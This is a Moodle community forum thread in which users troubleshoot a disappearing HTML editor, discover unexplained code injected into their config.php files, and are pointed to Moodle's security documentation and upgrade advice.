Hi

Im from Sweden and i have the same problem with my HTML editor.

Madeleine
In reply to Madde Alm

Svar: Re: HTML editor disappeared (from Firefox)

by Madde Alm -
Hi again!

I just made a new config.php file and the html editor works just fine.

Thanks for your help out there.

Madeleine
In reply to Madde Alm

Svar: Re: HTML editor disappeared (from Firefox)

by Stellan Kinberg -

I have version 1.9.5 but my config.php was hacked somehow. I made the same as Madde. I created a new config.php.

It was not enough to remove the code I found....

The editor is now there but I have only two buttons... tried to unhide them. Invane.  But I can at least edit my texts again.

In reply to Maureen O'Halloran

Re: HTML editor disappeared (from Firefox)

by Tom Butkiewicz -
Wanted to see if anyone could shed some light on this problem for me as well...

Tried all the above steps...

Checked the config.php -- all was fine no additional spaces either.
Deleted sessions.
Verified HTML editor was turned on.
Restored the editors dir.
Still nothing.

Did a fresh download of 1.9.5+ and continued to install it. Fresh database, created a new course, HTML Editor worked perfectly. Duplicated the database values from the live site to the fresh install (so I could view live courses and users etc) and went under a course and here's what happens.

1. Editor appears on first visit to the page with the error of:
"Can't move focus to the control because it is invisible, not enabled, or of a type that does not accept the focus." modedit.php

2. A refresh completely breaks the editor and gives the error of:
"Expected '}' htmlarea.php "
and
'HTMLArea' is undefined en.php

Now, I don't use IE, but the teachers on Moodle tend to use it. Seems like using IE 8's Compatibility View allows the editor to show up and act properly while still receiving those errors

Starting to really bug me as to why this doesn't work....possibly a database issue?
In reply to Tom Butkiewicz

Re: HTML editor disappeared (from Firefox)

by James Phillips -
I have the same issue on a brand new local install using easyphp. I seem to have an issue every couple of days these days with moodle and spend more time looking at problems with it than I spend on making courses. And yes, I have updated regularly.
In reply to Tom Butkiewicz

Svar: Re: HTML editor disappeared (from Firefox)

by Stellan Kinberg -

I would recreate a new config.php. I did that and got my editor back even if without buttons. A first step.

Ah, I deleted all sessions as suggested by a user above.

In reply to Tom Butkiewicz

Re: HTML editor disappeared (from Firefox)

by Tom Butkiewicz -
Still having the same issue as above. In both IE and Firefox

I have taken a fresh config-dist.php and renamed to config.php and only changed the database credentials. Still the same issue with the editor disapearing after refresh.

Have also tried using the default theme, still no change in the previous actions I've described....

If anyone has anymore information on this problem, or have some free time to look over the site....please message me -- I have somevery frustrated teachers wanting their WYSIWYG Editor back smile
In reply to Maureen O'Halloran

જઃ HTML editor disappeared (from Firefox)

by Dr. Amitkumar Mali -
Hi all,
I have the same problem. I m using moodle 1.8.4 on siteground hosting service. I found that somebody added hundreds of lines in my config.php i deleted all the lines and uploaded the modified (ractified !!!) config.php. It solved my problem.
But this create doubts in my mind.. If someone can edit config.php, the hacker may infected other files too.. There are plenty of people like me using moodle, who are not a programmer. Is there any security solution available to prevent such activities??
Regards
Amit
In reply to Dr. Amitkumar Mali

Re: જઃ HTML editor disappeared (from Firefox)

by Mauno Korpelainen -

http://docs.moodle.org/en/Security_overview

Particularly: "The config.php file must not be writeable by the web server process. If it is, then it is possible for another vulnerability to allow attackers to rewrite the Moodle code and display whatever they want."

Check also the other settings mentioned in security overview report documentation - and if the cracker has been able to upload some c99 (madshell) type script to your server he / she may be able to use your site and files the same way as you can use remote file manager programs - http://moodle.org/mod/forum/discuss.php?d=111710

+ Moodle 1.8.4 could/should be upgraded - there have been several security and other fixes since that release.

http://docs.moodle.org/en/Security

In reply to Mauno Korpelainen

Re: જઃ HTML editor disappeared (from Firefox)

by nabil Lachheb -
Hello,

I have the same issue: My free host updated Moodle and the htmleditor disappeared right after... Not working on FireFox neither IE8 (never worked on Google Chrome).

I was about to look @ the htmlarea.php, when suddenly the wysiwyg functions appeared!

I suggest to try first "wait, F5, drink coffee, F5" a few minutes and then if it still don't work, try other things smile

I hope this helps..